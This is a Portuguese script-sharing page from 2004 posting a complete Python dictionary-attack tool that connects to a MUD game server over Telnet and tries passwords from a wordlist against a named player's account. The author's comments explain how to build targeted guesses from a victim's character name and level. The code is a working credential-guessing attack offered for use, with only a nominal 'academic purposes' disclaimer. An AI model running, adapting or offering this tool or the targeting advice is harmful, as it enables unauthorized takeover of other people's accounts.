Brute Force para MUD

Publicado por Karl Phillip 14/07/2004

[ Hits: 10.720 ]

Download mudbf.py




Programa do tipo forca bruta para MUDs, escrito em Python por mim.
Tenta descobrir a senha de um jogador atraves de um dicionario de palavras,  passando como parametro o Host  e a Porta em que o jogo esta rodando.

Uso: ./mudbf.py  end.do-mud.com  3000  JOGADOR  dic_palavras.txt

Meus agradecimentos a <Aloysio de Paiva Figueiredo> pelo incentivo e muitas vezes suporte.

  



Esconder código-fonte

#!/usr/bin/python
#########################################################################################
###                                                                                     #
###  This is a <Brute Force> program for MUD.                                           #
###  It was design fo academic purposes only.       ***USE IT AT OWN RISC***            #
###  Written in Python by: Karl Phillip                                                 #
###    website: www.maxphil.cjb.net                                                     #
###    em@il: max-phil@bol.com.br                                                       #
###                                                     Karl Phillip                    #
#########################################################################################


import sys, string
from telnetlib import Telnet

try:
  host_name = sys.argv[1]
  port = sys.argv[2]
  ptarget = sys.argv[3]
  fname = sys.argv[4]
except IndexError:
  print ">> Usage: ./mudbf <host> <port> <playerTARGET> <passwdFILE)\n"
  sys.exit(1)

try:
  arq = open(fname)
  arq.close()
except IOError:
  print ">> Password file does not exist!\n"
  sys.exit(1)

print "\n<PytHoN programmed/>  _brute_force4MUD_"
print ""
print "  http://www.maxphil.cjb.net"
print "  by: Karl Phillip \n"
print " <Target>: %s" % host_name
print " <Port>:   %s" % port
print " <Player>: %s\n" % ptarget
print ">> Trying passwords.. (this could take a few minutes)\n"
arq = open(fname)
login_sucess = "*** PRESS RETURN:"
login_new ="Did I get that righ"

numtries = 0
looping = False
while not looping:

 for line in arq.readlines():
   passwd = line
   numtries += 1
   vict = Telnet(host_name, port)   
   vict.write(ptarget+"\n")  
   vict.write(str(passwd)+"\n")  

   response = vict.read_until("Wrong password.", 12)

   if string.count(response, login_new):
     print "\n========================================="
     print "     *PLAYER NOT FOUND* in this MUD!"
     print "=========================================\n"
     arq.close()
     vict.close()
     sys.exit(1)  
   elif string.count(response, login_sucess):
     print "\n  <Passwords tried>  %d" % int(numtries)
     print "\n*User*:     %s" % ptarget
     print "*Password*: %s" % passwd
     vict.close()
     sys.exit(1)
   else:
     #print "Trying passwd: %s" % passwd
     vict.close()
  vict.close()

 looping = True
     
arq.close()
vict.close()
print "\n  <Passwords tried>  %d" % int(numtries)
print "\n========================================="
print "  *NO PASSWORD* was found in that file!"
print "=========================================\n"
     

Scripts recomendados

Krypt - Função de criptografia por chave de qualquer tamanho

Identificador de spam em Python

Automação de scan de vulnerabilidades de URL

Script básico de um ransomware

Função para decriptar Base64 em string compactada


  

Comentários
[1] Comentário enviado por karlphillip em 16/07/2004 - 13:53h

Quem usar o programa, por favor, poste um comentário p/ mim saber que ele foi útil para mais alguém.

Grato pela Atenção,

[2] Comentário enviado por removido em 20/07/2004 - 11:47h

Oi, eu acho que seria interessante utilizar no script o recurso de bruteforce sem wordlist. Demora mais, mas também é muito mais funcional...

[3] Comentário enviado por karlphillip em 20/07/2004 - 18:44h

Humm.. eu acho que dessa forma fica mais fácil tentar acertar a senha do player. É possível você montar um conjunto de senhas prováveis para o tal jogador, e acrescenta-la na wordlist, do que esperar o programa tentar as possíveis combinações de palavras, uma a uma, até chegar num resultado.
Veja por exemplo, se nosso jogador alvo foce Padawan, Level 109. Nós poderíamos criar as possíveis combinações de senhas: p4d4w4n, pada, pada109, padinha , etc... Imagina ter que esperar o programa começar a fazer combinações na letra P.. ia demorar séculos. Com uma wordlist, poderíamos acrescentar essas palavras no início do arquivo para o programa tentar. Teríamos uma resposta muito mais rápida.
Agradeço a contribuição jr.lepchak. Acho também interessante a sua idéia, e se você chegar a implementa-la poderia me mandar um email? Karl Phillip.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts